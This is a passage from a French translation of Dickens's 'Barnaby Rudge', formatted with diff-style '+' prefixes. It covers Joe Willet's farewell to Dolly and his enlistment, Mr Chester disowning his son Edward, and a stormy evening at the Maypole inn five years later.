+écrit aussi dans ses yeux. Dolly fut joyeuse de le voir; mais,
+comme elle était si fâchée que son père et sa mère se trouvassent
+absents, Joe la supplia de ne point s'en tourmenter du tout.
+
+Dolly hésitait à le conduire dans la salle à manger, car il y
+faisait presque noir; en même temps elle hésitait à causer debout
+dans la boutique, où il faisait encore clair, et où l'on était vu
+de tous les passants. Ils étaient arrivés comme ça jusqu'à la
+petite forge, et Joe tenait la main de Dolly dans la sienne (il
+n'en avait pas le droit, car Dolly n'avait entendu lui donner
+qu'une poignée de main), comme s'ils étaient là devant quelque
+autel mythologique pour se marier, si bien que c'était la position
+la plus embarrassante du monde.
+
+«Je suis venu, dit Joe, vous dire adieu, vous dire adieu je ne
+sais pour combien d'années, peut-être pour toujours. Je pars pour
+l'étranger.»
+
+C'était précisément ce qu'il n'aurait pas dû dire. Il parlait là
+comme un gentleman maître de sa personne libre d'aller, de venir,
+de courir le monde selon son bon plaisir, lorsque le galant
+carrossier avait juré pas plus tard que la veille au soir que
+Mlle Varden le retenait dans des chaînes adamantines, lorsqu'il
+avait positivement déclaré en termes exprès qu'elle le faisait
+mourir à petit feu, et que dans une quinzaine plus ou moins, il
+s'attendait à faire une fin décente et à laisser son établissement
+à sa mère.
+
+Dolly dégagea sa main et dit: «Vraiment?» faisant observer, sans
+reprendre haleine qu'il faisait bien beau ce soir, bref, elle ne
+trahit pas plus d'émotion que l'enclume même de la forge.
+
+«Je n'ai pu partir, dit Joe, sans venir vous voir. Je n'en avais
+pas le courage.»
+
+Dolly témoigna qu'elle était bien fâchée qu'il eût pris tant de
+peine. C'était une si longue course, et il devait avoir tant de
+choses à faire! Et comment allait M. Willet, ce bon vieux
+gentleman?
+
+«Est-ce là tout ce que vous avez à me dire? s'écria Joe.
+
+-- Tout! Bonté divine! Et sur quoi donc avait compté ce garçon-
+là?» Elle fut obligée de prendre son tablier d'une main et de
+jeter les yeux sur l'ourlet d'un bout à l'autre, pour s'empêcher
+de lui rire au nez, car ce n'était pas un effet de son trouble ou
+de sa stupéfaction. Oh! pas du tout.
+
+Joe avait peu d'expérience en affaires d'amour, et il n'avait
+aucune idée de la manière dont les jeunes demoiselles varient
+selon les temps. Il s'attendait à retrouver Dolly juste au point
+où il l'avait laissée lors de ce délicieux voyage nocturne, et il
+n'était pas plus préparé à un tel changement qu'à voir le soleil
+et la lune changer de place. Il avait été soutenu toute la journée
+par l'idée vague qu'elle lui dirait certainement: «Ne partez pas,»
+ou «Ne nous quittez pas,» ou: «Pourquoi partez-vous?» ou «Pourquoi
+nous quittez-vous?» ou qu'elle lui donnerait quelque petit
+encouragement de ce genre; il avait même admis comme possible
+qu'elle fondît en larmes, qu'elle se précipitât dans ses bras, ou
+qu'elle tombât en pamoison sans un mot, sans un signe au
+préalable: mais il avait été si loin de penser à rien qui
+approchât d'une pareille ligne de conduite, qu'il ne put que la
+regarder avec un silencieux étonnement.
+
+Dolly cependant en revenait aux coins de son tablier, mesurait les
+côtes, effaçait les plis, et restait aussi silencieuse que lui-
+même. Enfin, après une longue pause, Joe lui dit au revoir.
+
+«Au revoir! dit Dolly, avec un sourire aussi agréable que s'il
+allait dans la rue voisine faire un tour avant de revenir souper,
+au revoir!
+
+-- Voyons, dit Joe, en lui tendant ses deux mains, Dolly, chère
+Dolly, ne nous séparons pas comme cela. Je vous aime tendrement,
+de tout mon coeur et de toute mon âme, avec autant de sincérité et
+de sérieux que jamais homme aima une femme dans ce monde, je le
+crois. Je suis un pauvre garçon, comme vous savez, plus pauvre à
+présent que jamais, car j'ai fui de la maison paternelle, ne
+pouvant souffrir plus longtemps d'être traité de la sorte, et il
+faut que je fasse mon chemin sans aucune aide. Vous êtes belle,
+admirée, vous êtes aimée de chacun, vous êtes dans l'aisance et
+heureuse, puissiez-vous toujours l'être! Le ciel me préserve de
+compromettre votre bonheur! mais dites-moi un mot de consolation
+Je n'ai pas le droit de le réclamer de vous, je le sais; mais je
+vous le demande parce que je vous aime, et que le moindre mot de
+vous sera pour un moi un trésor que je garderai chèrement pendant
+toute ma vie. Dolly, ma chère Dolly, n'avez vous rien à me dire?
+
+-- Non, rien.»
+
+Dolly était coquette de sa nature, et de plus enfant gâté. Elle
+n'avait pas du tout envie qu'on vînt la prendre d'assaut de cette
+manière-là. Le carrossier aurait fondu en larmes, il se serait
+agenouillé, il se serait fait des reproches, il aurait crispé ses
+mains, frappé sa poitrine, serré sa cravate à s'étrangler, et fait
+toute sorte de poésie. Joe n'avait pas besoin d'aller à
+l'étranger. Il n'avait pas le droit d'en être capable, et,
+puisqu'il était dans les chaînes adamantines, il ne pouvait plus
+disposer de lui.
+
+«Je vous ai dit au revoir, dit Dolly, et encore deux fois. Otez
+tout de suite votre bras, monsieur Joseph, ou j'appelle Miggs.
+
+-- Je ne vous ferai pas de reproches répondit Joe, c'est ma faute
+sans doute J'ai cru quelquefois que vous ne me méprisiez pas mais
+c'était folie de ma part. Je dois être méprisé de quiconque a vu
+la vie que j'ai menée, de vous plus que de tous les autres. Que
+Dieu vous bénisse!»
+
+Il était parti, ma foi l! mais parti pour de bon. Dolly attendit
+un peu de temps pensant qu'il allait revenir sur ses pas, elle se
+coula près de la porte, regarda dans la rue, à droite et à gauche,
+autant que l'obscurité croissante le lui permit rentra dans la
+boutique, attendit encore un peu plus, monta en fredonnant un air,
+s'enferma au verrou, laissa tomber sa tête sur son lit, et pleura
+comme si son coeur eût voulu éclater. Et cependant ces natures-là
+sont faites de tant de contradictions, que si Joe Willet était
+revenu ce soir, le lendemain, la semaine suivante, le mois
+suivant, elle l'aurait traité absolument de la même façon, quitte
+à pleurer encore après, avec la même douleur.
+
+Elle n'eut pas sitôt quitté la boutique qu'on aurait pu voir
+surgir de derrière la cheminée de la forge une figure qui était
+déjà sortie deux ou trois fois de ladite cachette sans être vue,
+et qui, après s'être assurée qu'il n'y avait personne, fut suivie
+d'une jambe, d'une épaule, et ainsi graduellement, jusqu'à ce que
+parut en son entier la forme bien accusée de M. Tappertit, avec un
+bonnet de papier gris négligemment enfoncé sur un des côtes de sa
+tête, et les deux poings fièrement plantés sur les hanches.
+
+«Mes oreilles m'ont-elles trompé, dit l'apprenti, ou est-ce que je
+rêve? Dois-je te remercier, ô Fortune, ou te maudire? lequel des
+deux?»
+
+Il descendit gravement du lieu élevé qu'il occupait, prit son
+morceau de miroir, le planta contre la muraille sur le banc
+habituel, frisa sa tête, et regarda ses jambes avec attention.
+
+«Si ce sont là des rêves, dit Sim en les caressant, je souhaite
+aux sculpteurs d'en avoir de pareils et de les façonner sur ce
+moule à leur réveil. Mais non, c'est bien une réalité. Le sommeil
+ne vous fait pas des membres comme ceux-là. Tremble, Willet,
+tremble de désespoir. Elle est à moi! Elle est à moi!»
+
+En achevant ces triomphantes paroles, il saisit un marteau et en
+asséna un coup violent sur une vis qui représentait aux yeux de
+son imagination la caboche ou la tête de Joseph Willet. Cela fait,
+il poussa un long éclat de rire dont tressaillit Mlle Miggs même
+dans sa lointaine cuisine; et plongeant sa tête dans un bol rempli
+d'eau, il eut recours à l'essuie-mains placé en dedans de la porte
+du cabinet, et s'en servit à la fois pour étouffer ses sentiments
+et sécher sa figure.
+
+Joe, inconsolable et abattu, mais plein de courage pourtant, en
+quittant la maison du serrurier, se dirigea de son mieux vers _la
+Bûche Tortue_, et demanda là son ami le sergent. Celui-ci, qui ne
+s'attendait guère à le voir, le reçut à bras ouverts. Cinq minutes
+après son arrivée à cette taverne, il était enrôlé parmi les
+braves défenseurs de son pays natal; et au bout d'une demi-heure
+on le régalait à souper d'un plat fumant de tripes bouillies aux
+oignons, préparé, comme le lui assura plus d'une fois son nouvel
+ami, par l'ordre exprès de Sa très sacrée Majesté le roi. Ce mets
+lui sembla fort savoureux après son long jeûne; il y fit donc
+grand honneur, et quand il l'eut accompagné des divers toasts d'un
+fidèle sujet envers son prince et sa patrie, on le conduisit à une
+paillasse dans un grenier à foin, au-dessus de l'écurie, et on l'y
+enferma pour la nuit.
+
+Le lendemain, grâce au soin obligeant de son martial ami, il
+trouva son chapeau décoré de plusieurs rubans bigarrés qui lui
+donnaient un air coquet. En compagnie de cet officier, et de trois
+autres militaires nouvellement enrôlés, si bien enrubannés comme
+lui, que sous ce nuage flottant on ne pouvait distinguer que trois
+souliers, une botte, et un habit et demi, il alla vers le bord du
+fleuve. Là ils furent rejoints par un caporal et quatre héros de
+plus, dont deux étaient ivres et tapageurs, et les deux autres
+sobres et repentants, mais ayant chacun, comme Joe, son bâton
+poudreux et son paquet au bout. La société s'embarqua sur un
+bateau de passage en destination pour Gravesend, d'où on devait
+aller pédestrement à Chatham. Le vent les favorisait, et ils
+eurent bientôt laissé Londres derrière eux; ce n'était plus qu'un
+brouillard sombre, le fantôme d'un géant dans les airs.
+
+
+
+
+CHAPITRE XXXII.
+
+
+Un malheur, dit le proverbe, ne vient jamais seul. On ne peut
+douter en effet que les tribulations ne soient excessivement
+collectives de leur nature, et qu'elles ne prennent plaisir à
+voler par bandes, pour aller de là se percher selon leur caprice
+sur la tête de quelque pauvre diable, jusqu'à ce qu'elles ne lui
+laissent plus sur le crâne un pouce de libre, sans faire seulement
+attention à d'autres qui offriraient à la plante de leurs pieds
+d'aussi bonnes places de repos, mais qu'elles s'obstinent à ne pas
+voir. Il arriva peut-être qu'une volée de tribulations planant sur
+Londres, et épiant Joseph Willet sans pouvoir le trouver,
+fondirent à tout hasard sur le premier jeune homme qui leur tomba
+sous la main, pour s'y abattre. Quoi qu'il en soit, il est positif
+que, le jour même du départ de Joe, un essaim de tribulations fit
+autour des oreilles d'Édouard Chester un tel bourdonnement, un tel
+tintamarre de ses ailes, qu'il en étourdit cette infortunée
+victime.
+
+C'était le soir, il était juste huit heures, quand lui et son
+père, en face du vin et du dessert qu'on venait de placer devant
+eux, furent laissés seuls pour la première fois de la journée. Ils
+avaient dîné ensemble, mais une tierce personne avait été présente
+pendant tout le repas, et, jusqu'au moment où ils s'étaient
+rencontrés à table, ils ne s'étaient point vus depuis la soirée
+précédente.
+
+Édouard était réservé et silencieux, M. Chester était plus gai que
+de coutume; mais ne se souciant pas, à ce qu'il semblait,
+d'engager la conversation avec quelqu'un d'une humeur si
+différente, il donnait cours à la légèreté de la sienne en
+sourires et en regards scintillants, sans faire d'ailleurs aucuns
+frais pour attirer l'attention de son fils. Ils restèrent ainsi
+quelque temps, le père étendu sur un sofa avec son air accoutumé
+de gracieuse négligence, le fils assis en face de lui, les yeux
+baissés, évidemment préoccupé de pensées et d'ennuis pénibles.
+
+«Mon cher Édouard, dit enfin M. Chester avec un rire des plus
+attrayants, n'étendez pas votre influence assoupissante jusque sur
+le carafon. Faites au moins circuler cela, pour empêcher que votre
+humeur ne reste trop stagnante.»
+
+Édouard s'excusa et lui passa le carafon; puis il retomba dans son
+état de torpeur.
+
+«Vous avez tort de ne pas remplir votre verre, dit M. Chester en
+tenant le sien devant la lumière. Le vin pris modérément, sans
+excès, car cela rend laid, à mille influences agréables. Il donne
+aux yeux plus de brillant, à la voix plus d'éclat, aux pensées
+plus de vivacité, à la conversation plus de piquant. Vous devriez
+en essayer, Ned.
+
+-- Ah! père, s'écria son fils, si...
+
+-- Mon bon garçon, interrompit précipitamment le père, en mettant
+son verre sur la table et haussant ses sourcils avec l'expression
+de physionomie d'un homme qui tressaille d'horreur, au nom du
+ciel, ne m'appelez pas de ce nom antique et suranné. Ayez quelque
+égard pour la délicatesse. Suis-je donc déjà tout gris, tout ridé,
+marché-je sur des béquilles, ai-je perdu mes dents, que vous
+adoptiez une pareille formule avec moi? Bon Dieu, quelle
+grossièreté!
+
+-- J'allais vous parler du fond de mon coeur, monsieur, répondit
+Édouard, avec toute la confiance qui devrait exister entre nous;
+et vous m'arrêtez tout court dès le début.
+
+-- Oh! de grâce, Ned, dit M. Chester en levant sa main délicate
+comme pour implorer son fils, ne vous énoncez pas de cette
+monstrueuse façon; vous alliez me parler du fond de votre coeur!
+Ne savez-vous point que le coeur est une partie ingénieuse de
+notre mécanisme, le centre des vaisseaux sanguins et de toutes les
+choses de ce genre, qui n'a pas plus de rapports avec vos pensées
+et vos paroles que n'en ont vos genoux? Comment pouvez-vous être
+si vulgaire et si absurde? On doit laisser ces allusions
+anatomiques aux gentlemen de la profession médicale. Elles ne sont
+réellement pas agréables en société. Vous me surprenez tout à
+fait, Ned.
+
+-- Je sais bien que, selon vous, des coeurs blessés, des coeurs
+consolés, des coeurs à ménager, ce sont toutes chimères. Je
+connais vos principes à cet égard, monsieur, et je n'en parlerai
+plus, répliqua son fils.
+
+-- Voici encore, dit M. Chester en buvant son vin à petits traits,
+que vous êtes dans l'erreur. Je dis nettement, au contraire, que
+ce ne sont point des chimères, nous savons qu'il y en a. Les
+coeurs des animaux, des boeufs, des moutons et ainsi de suite,
+sont mis sur le feu et dévorés à ce qu'on m'a dit, par la basse
+classe, avec un suprême délice. Des hommes sont quelquefois percés
+d'un coup de poignard au coeur, frappés d'une balle au coeur, mais
+ces locutions «du fond du coeur,» ou «jusqu'au coeur,» «coeur
+chaud et coeur froid,» ou «coeur brisé,» ou «qui est tout coeur,»
+ou «qui n'a pas de coeur,» peuh! voilà ce que je dis qui n'a pas
+de sens, Ned.
+
+-- Sans doute, monsieur, répliqua son fils, voyant qu'il faisait
+une pause pour le laisser parler, sans doute.
+
+-- Voilà la nièce de Haredale, le dernier objet de vos feux dit
+M. Chester, comme s'il prenait le premier exemple venu pour
+éclaircir sa pensée. Sans doute elle était tout coeur dans votre
+esprit jadis; maintenant elle n'a plus du tout de coeur: pourtant
+c'est la même personne, Ned, exactement la même!
+
+-- C'est une personne qui a changé, monsieur, cria Édouard en
+rougissant, et changé, je le crains, par des influences odieuses.
+
+-- Vous avez reçu là un congé assez froid, n'est-ce pas? Pauvre
+Ned! je vous disais l'autre soir que cela vous arriverait. Puis-je
+vous demander le casse noisettes?
+
+-- Il faut qu'il y ait eu autour d'elle quelque machination, elle
+a été trompée de la manière la plus perfide, cria Édouard en se
+levant de table. Je ne croirai jamais que la connaissance de ma
+véritable position, dont elle recevait de moi la confidence, ait
+pu produire ce changement. Je sais qu'elle est assiégée et
+torturée, mais, quoique notre engagement soit fini et rompu sans
+ressource, quoique je l'accuse d'avoir manqué de fermeté, de
+fidélité envers elle-même comme envers moi, je ne crois pas et je
+ne croirai jamais qu'aucun motif sordide, ni son propre mouvement,
+sa volonté libre et spontanée, lui aient dicté cette conduite...
+jamais.
+
+-- Vous me faites rougir, répliqua gaiement son père, de la folie
+de votre naturel ou j'espère... mais il est vrai qu'on ne se
+connaît jamais soi-même...où j'espère ardemment qu'il n'y a nul
+reflet du mien. Quant à ce qui regarde cette jeune demoiselle,
+elle a agi très naturellement et très convenablement, mon cher
+garçon; elle a fait ce que vous-même vous aviez proposé de faire,
+à ce que m'apprend Haredale, et ce que je vous avais prédit (il ne
+fallait pas pour cela grande sagacité) qu'elle ferait
+indubitablement. Elle vous supposait riche, ou du moins assez
+riche, et elle découvre que vous êtes pauvre. Le mariage est un
+contrat civil; les gens se marient pour améliorer leur condition
+en ce monde et pour y faire figure. C'est une affaire de maison et
+d'ameublement, de livrées, de domestiques, d'équipage, et ainsi de
+suite. La demoiselle étant pauvre, et vous aussi, tout est dit.
+Cela ne vous regarde plus, et vous n'avez rien à voir dans cette
+cérémonie. Je bois à sa santé, je la respecte et l'honore à cause
+de son extrême bon sens; elle vous donne là un bon exemple à
+suivre. Remplissez votre verre, Ned.
+
+-- C'est un exemple, répliqua son fils, dont j'espère ne jamais
+profiter; et, si l'expérience des années grave de pareilles leçons
+dans...
+
+-- N'allez pas dire dans le coeur, interrompit son père.
+
+-- Dans des esprits que le monde et son hypocrisie ont gâtés, dit
+Édouard avec chaleur, le ciel me préserve de les connaître!
+
+-- Allons, monsieur, répondit son père en se levant un peu sur le
+sofa et regardant droit vers lui, en voilà bien assez sur ce
+sujet. Rappelez-vous, s'il vous plaît, votre devoir, vos
+obligations morales, votre affection filiale, et toutes les choses
+de ce genre auxquelles il est si délicieux et si charmant de
+réfléchir, ou vous vous en repentirez.
+
+-- Je ne me repentirai jamais de conserver le respect de moi-même,
+monsieur, dit Édouard. Pardonnez-moi si je vous déclare que je ne
+le sacrifierai pas à votre commandement, que je ne suivrai pas la
+route que vous voudriez me faire prendre pour me rendre complice
+de la part secrète que vous avez eue dans cette dernière
+séparation.»
+
+Le père se leva encore un peu plus, et le regardant comme par un
+sentiment de curiosité, pour voir s'il parlait sérieusement, il se
+laissa doucement glisser de nouveau en arrière, et dit de la voix
+la plus calme, tout en croquant ses noisettes:
+
+«Édouard, mon père eut un fils qui, étant fou comme vous, et comme
+vous entretenant des sentiments de désobéissance bas et vulgaires,
+fut déshérité et maudit un matin après déjeuner. La circonstance
+se représente ce soir à mon esprit avec une précision singulière
+dans mes souvenirs. Je me rappelle encore que j'étais en train de
+manger des petits pains au beurre avec de la marmelade. Il mena
+une misérable vie (le fils, bien entendu), et mourut jeune; ce fut
+bien heureux sous tous les rapports, car il ne faisait guère
+honneur à la famille. C'est une triste circonstance, Édouard,
+quand un père se trouve dans la nécessité de recourir à des
+mesures si extrêmes.
+
+-- Oui, sans doute, répliqua Édouard, et c'en est une fort triste
+aussi quand un fils, offrant à son père son amour et ses devoirs
+dans le sens le meilleur et le plus vrai, se trouve repoussé à
+tout propos, et forcé de désobéir. Cher père, ajouta-t-il d'un air
+plus sérieux encore, quoique d'un ton plus doux, j'ai souvent
+réfléchi sur ce qui se passa entre nous lorsque nous discutâmes ce
+sujet pour la première fois. Souffrez que nous ayons ensemble une
+explication confidentielle, mais je dis une explication franche et
+sincère. Écoutez ce que j'ai à vous dire.
+
+-- Comme je pressens ce qu'elle serait et que je ne peux manquer
+de le pressentir, Édouard, répondit froidement son père, je m'y
+refuse; je ne saurais m'y prêter. Je suis sûr qu'elle me mettrait
+de mauvaise humeur, ce qui est une situation d'esprit que je ne
+peux pas endurer. Si vous vous proposez de faire obstacle à mes
+plans pour votre établissement dans la vie et pour la conservation
+de cette noblesse de race et de cet orgueil bienséant que notre
+famille a si longtemps soutenus; en un mot, si vous êtes résolu de
+suivre la route que vous vous tracez, suivez-la et emportez avec
+tous ma malédiction. J'en suis très fâché, mais il n'y a
+réellement pas d'alternative.
+
+-- La malédiction peut traverser vos lèvres, dit Édouard, mais ce
+ne sera qu'un vain souffle. Je ne crois pas qu'un homme ait le
+pouvoir ici-bas d'en attirer une sur son semblable, et surtout sur
+son propre enfant, pas plus que de faire tomber, par ses
+conjurations impies, une goutte d'eau ou un flocon de neige des
+nuages qui sont au-dessus de nous. Regardez-y à deux fois,
+monsieur.
+
+-- Vous êtes si irréligieux, si irrespectueux, si horriblement
+profane, répondit son père en se tournant vers lui avec
+nonchalance et cassant une autre noisette, que je dois
+positivement vous interrompre ici. Il est tout à fait impossible
+que notre entretien continue sur ce ton-là. Si vous voulez, bien
+sonner, le domestique va vous conduire jusqu'à la porte. Ne
+revenez plus sous ce toit, je vous en prie. Allez, monsieur,
+puisqu'il ne vous reste aucun sens moral, et allez au diable,
+c'est ce que je vous souhaite. Bonjour.»
+
+Édouard quitta la chambre sans un mot de plus, sans un regard, et
+tourna le dos à la maison pour jamais.
+
+Le visage du père rougit et s'échauffa légèrement; mais il n'y eut
+pas la moindre altération dans ses manières lorsqu'il sonna
+derechef et dit à son domestique, quand il fut entré:
+
+«Peak, si ce gentleman qui vient de sortir...
+
+-- Pardon, monsieur; M. Édouard?
+
+-- Y en avait-il donc ici plus d'un, balourd, que vous me faites
+cette question? Si ce gentleman envoyait prendre sa garde-robe,
+vous la lui donneriez, vous entendez? S'il se présentait lui-même,
+n'importe quand, je n'y suis pas. Vous le lui direz comme ça, et
+vous fermerez la porte.»
+
+Ainsi l'on chuchota bientôt à la ronde que M. Chester était très
+malheureux d'avoir un fils qui lui causait beaucoup de peine et de
+chagrin. Les bonnes gens qui l'entendirent et le répétèrent
+s'émerveillèrent d'autant plus de son égalité d'âme et de sa
+sérénité. «Quelle aimable nature il faut avoir, disaient-ils, pour
+montrer tant de calme après tant d'épreuves!» Et, lorsqu'on
+prononçait le nom d'Édouard, la société secouait la tête et
+mettait son doigt sur sa lèvre; elle soupirait, elle prenait son
+air grave; et ceux qui avaient des fils de l'âge de ce jeune
+homme, dans un accès de pieuse colère et de vertueuse indignation,
+lui souhaitaient la mort, comme une expiation due à la piété
+filiale. Et ce n'est pas là ce qui empêcha le monde d'aller son
+petit train pendant cinq ans dont cette histoire ne parle pas.
+
+
+
+
+CHAPITRE XXXIII.
+
+
+Un soir d'hiver, dans les premiers mois de l'an de Notre Seigneur
+mil sept cent quatre-vingts, un vent perçant du nord s'éleva vers
+la brune, et, quand parut la nuit, le ciel était noir et affreux.
+Une violente tempête de grésil aigu, épais et froid comme la
+glace, balaya les rues humides et retentit sur les fenêtres
+tremblantes. Les enseignes, secouées sans pitié dans leurs cadres
+gémissants tombèrent avec fracas sur le pavé, de vieilles
+cheminées branlantes vacillèrent et chancelèrent, comme un homme
+ivre, sous l'ouragan; en plus d'un clocher se balança cette nuit
+comme s'il y avait un tremblement de terre.
+
+Ce n'était pas, pour ceux qui pouvaient se procurer chez eux du
+feu et de la chandelle, le moment de braver la furie de la
+tempête. Dans les meilleurs cafés, les habitués, réunis autour du
+feu, oubliaient la politique et se disaient les uns aux autres,
+avec une secrète joie que le vent devenait plus terrible de minute
+en minute. Chaque humble taverne du bord de l'eau avait autour du
+foyer son groupe d'incultes personnages qui parlaient de vaisseaux
+sombrant en mer et d'équipages perdus, rapportaient mainte
+histoire de naufrage et d'hommes noyés, faisaient des voeux pour
+que quelques matelots de leur connaissance sortissent de là sains
+et saufs, et secouaient leur tête en signe de doute. Dans les
+maisons particulières, les enfants, en peloton près de la flamme
+de l'âtre, écoutaient les contes de fantômes et de lutins, de
+grandes figures vêtues de blanc qui venaient se tenir debout dans
+la ruelle du lit, de gens qui, étant allés dormir dans de vieilles
+églises et ayant échappé à la ronde du sacristain, s'étaient
+trouvés là tout seuls au fort de la nuit. Les pauvres petits
+frissonnaient en pensant aux chambres ténébreuses de l'étage
+supérieur, et cependant ils aimaient à entendre aussi le vent
+gémir, et ils espéraient bien qu'il allait continuer de souffler
+bravement. De temps en temps ces bienheureux causeurs à l'abri
+s'arrêtaient pour écouter; ou bien l'un d'eux, levant le doigt,
+criait: «Chut!» Et alors, au-dessus du ronflement du vent dans la
+cheminée, du clapotage de l'eau fouettée contre les vitres, on
+entendait un bruit lamentable, impétueux, qui secouait les murs
+comme d'une main de géant; puis un rauque mugissement, comme si la
+mer eût monté; puis un tourbillon si tumultueux, que l'air
+semblait en délire; puis, avec un hurlement prolongé, les vagues
+de vent passaient rapidement et laissaient l'intervalle d'un
+instant de repos.
+
+Ce soir-là, bien qu'il n'y eût personne au dehors pour la voir, il
+y avait grande illumination au Maypole. Comme cela faisait bien
+sur le vieux rideau rouge de la fenêtre... d'un beau rouge vif
+écarlate, qui mêlait dans un riche courant de splendeur le feu et
+la chandelle, les plats, les verres et les convives, et qui
+brillait comme un oeil jovial sur le morne désert du dehors! Au
+dedans, quel tapis comparable à son sable craquant sous le pied?
+Quelle musique aussi gaie que ses bûches pétillantes? Quel parfum
+aussi suave que la friande vapeur de sa cuisine? Quelle
+température aussi féconde que sa puissante chaleur? Parlez-moi de
+la vieille maison solide comme le roc! Que le vent irrité
+s'acharne tant qu'il voudra à rugir autour de son toit robuste;
+qu'il s'essouffle, si cela lui plaît, dans sa lutte avec les
+larges cheminées, ça ne les empêchera pas de vomir de leurs
+gosiers hospitaliers de grands nuages de fumée, et de les lui
+jeter par défi à la face. Laissez-le s'épuiser à battre et secouer
+bruyamment les fenêtres. Plus il se montre jaloux d'éteindre ce
+joyeux éclat qui l'offusque, et plus vous verrez la lueur briller
+et pétiller, animée par la lutte.
+
+Et que dire aussi des profusions, des opulentes prodigalités de
+cette splendide taverne? Ce n'était pas assez qu'un seul feu rugît
+et étincelât dans son spacieux foyer; sur les carreaux qui le
+pavaient tout autour, cinq cents feux brûlaient en scintillant
+avec une égale clarté. Ce n'était pas assez qu'un seul rideau
+rouge repoussât au dehors la nuit farouche, et versât sa joyeuse
+influence sur la salle commune. Dans chaque couvercle de
+casserole, dans chaque chandelier, dans chaque vase de cuivre,
+jaune ou rouge, ou d'étain, suspendu aux murailles, il y avait
+d'innombrables rideaux rouges, qui brillaient d'un éclat soudain à
+chaque mouvement de la flamme, et offraient, n'importe où l'oeil
+s'égarât, des perspectives sans borne de cette riche couleur. La
+vieille boiserie en chêne, les poutres, les chaises, les sièges,
+la reflétaient dans une faible lueur d'un ton foncé. Il y avait
+des feux et des rideaux rouges jusque dans les yeux des buveurs,
+dans leurs boutons, dans leur liqueur, dans les pipes qu'ils
+fumaient.
+
+M. Willet était assis à l'endroit qui avait été sa place
+accoutumée cinq ans auparavant, ses yeux fixes sur l'éternel
+chaudron. Il était assis là depuis que l'horloge avait sonné huit
+heures, il ne donnait pas d'autres signes de vie que de respirer
+avec un ronflement sonore et continuel (quoiqu'il fût très
+éveillé), de porter de temps en temps son verre à ses lèvres, de
+faire tomber les cendres de sa pipe et de la bourrer de nouveau Il
+était maintenant dix heures et demie. M. Cobb et le long Phil
+Parkes étaient ses compagnons, comme jadis, et, pendant deux
+mortelles heures et demie, personne de la société n'avait prononcé
+un mot.
+
+À force de s'asseoir ensemble à la même place et dans les mêmes
+positions relatives, à force de faire exactement la même chose
+durant un grand nombre d'années, serait-il vrai que les gens
+finissent par acquérir un sixième sens, ou, à son défaut, la
+faculté occulte de s'influencer les uns les autres qui en tient
+lieu? c'est une question que je laisse à la philosophie le soin de
+résoudre. Mais ce qu'il y a de certain, c'est que le vieux John
+Willet, M. Parkes et M. Cobb, étaient tous trois fermement
+convaincus qu'ils formaient un trio de jolis lurons, qu'ils
+étaient plutôt des esprits d'élite qu'autrement. Il est encore
+certain qu'ils se regardaient les uns les autres de temps en
+temps, comme s'il y avait entre eux un perpétuel échange d'idées,
+qu'aucun d'eux ne considérait nullement ni lui ni son voisin comme
+silencieux, et que chacun d'eux, quand il rencontrait le regard
+d'un autre, faisait un signe de tête affirmatif, comme pour lui
+dire: «Ce que vous venez de dire là est parfait, monsieur, on ne
+pouvait pas mieux s'exprimer, et je suis tout à fait de votre
+avis.»
+
+La salle était si chaude, le tabac si délicieux, le feu si
+caressant, que M. Willet commença par degrés à s'assoupir, mais
+comme il avait supérieurement acquis, par suite d'une longue
+habitude, l'art de fumer dans son sommeil, et comme sa respiration
+était presque la même, qu'il fût éveillé ou endormi, sauf que dans
+ce dernier cas il éprouvait quelquefois une petite difficulté du
+genre de celle qu'un charpentier rencontre lorsque son rabot ou sa
+plane trouve un noeud sur son chemin, aucun de ses camarades ne
+s'était aperçu de la chose, jusqu'à ce qu'il rencontra un de ces
+obstacles et fut obligé de s'y reprendre.
+
+«Voilà Johnny parti, chuchota M. Parkes.
+
+-- Il ronfle comme un sabot,» dit M. Cobb.
+
+Ils n'en dirent pas davantage jusqu'à ce que M. Willet arriva à un
+autre noeud, un noeud d'une dureté surprenante, qui promettait de
+le jeter dans des convulsions, mais que, par un effort tout à fait
+surhumain, il surmonta enfin sans se réveiller.
+
+«Il a le sommeil terriblement dur,» dit M. Cobb.
+
+M. Parkes, qui était peut-être lui-même un dormeur de première
+force, répliqua avec quelque dédain: «Ah bien oui, joliment!» et
+dirigea ses yeux vers une affiche collée sur le manteau de la
+cheminée. Le haut de cette affiche avait pour décoration une
+gravure sur bois, laquelle représentait un jeune garçon d'un âge
+tendre, fuyant d'un pied leste et portant un paquet au bout d'un
+bâton, et, pour aider à l'intelligence des spectateurs, un poteau
+avec une main et une borne milliaire, à côté du fugitif. M. Cobb
+tourna également ses yeux dans la même direction, et examina le
+placard comme si c'était la première fois qu'il l'eût vu. Or ce
+placard était un document que M. Willet lui-même avait dicté lors
+de la disparition de son fils Joseph; il y informait la grande
+noblesse, la petite noblesse et le public en général, des
+circonstances dans lesquelles son fils avait quitté la maison; il
+dépeignait son costume et son extérieur; et il offrait une
+récompense de cinq livres sterling à la personne ou aux personnes
+qui emballeraient le fugitif et le renverraient sain et sauf au
+Maypole à Chigwell, ou qui le logeraient dans quelqu'une des
+prisons de Sa Majesté jusqu'à ce que son père eût le temps de
+venir le réclamer. Dans cet avertissement, M. Willet avait, d'une
+manière obstinée, en dépit des avis et des prières de ses amis,
+persisté à dépeindre son fils comme «un petit garçon,» bien plus,
+dans son signalement, il lui donnait dix-huit pouces ou deux pieds
+de moins que sa taille réelle Cette double inexactitude suffisait
+pour expliquer peut-être l'unique résultat que l'affiche avait
+produit, c'est-à-dire la transmission à Chigwell, en différentes
+fois et avec des frais considérables, de quelque quarante-cinq
+vagabonds, dont l'âge variait de six à douze ans.
+
+M. Cobb et M. Parkes regardaient donc d'un air mystérieux cette
+composition, puis ils se regardaient l'un l'autre, puis ils
+regardaient le vieux John. Depuis le temps qu'il l'avait collée de
+ses propres mains, M. Willet n'avait jamais, soit par un mot, soit
+par un signe, fait allusion à ce sujet, ni encouragé quelque autre
+à le faire. Personne n'avait la moindre idée de ses pensées et de
+ses opinions à cet égard, s'il s'en souvenait ou s'il l'avait
+oublié, s'il avait ou non dans l'esprit qu'un semblable événement
+eût jamais eu lieu. Aussi, même tandis qu'il dormait, personne ne
+se hasardait à y faire allusion en sa présence, et voilà ce qui
+faisait que ses amis de coeur étaient silencieux en ce moment.
+
+M. Willet en était venu cependant à une telle complication de
+noeuds, qu'évidemment de deux choses l'une, il allait se réveiller
+ou mourir. Il opta pour la première alternative, et ouvrit les
+yeux.
+
+«S'il n'arrive pas d'ici à cinq minutes, dit John, je ferai servir
+le souper sans lui.»
+
+L'antécédent de ce pronom avait été mentionné pour la dernière
+fois à huit heures. MM.  Parkes et Cobb, accoutumés à ce style de
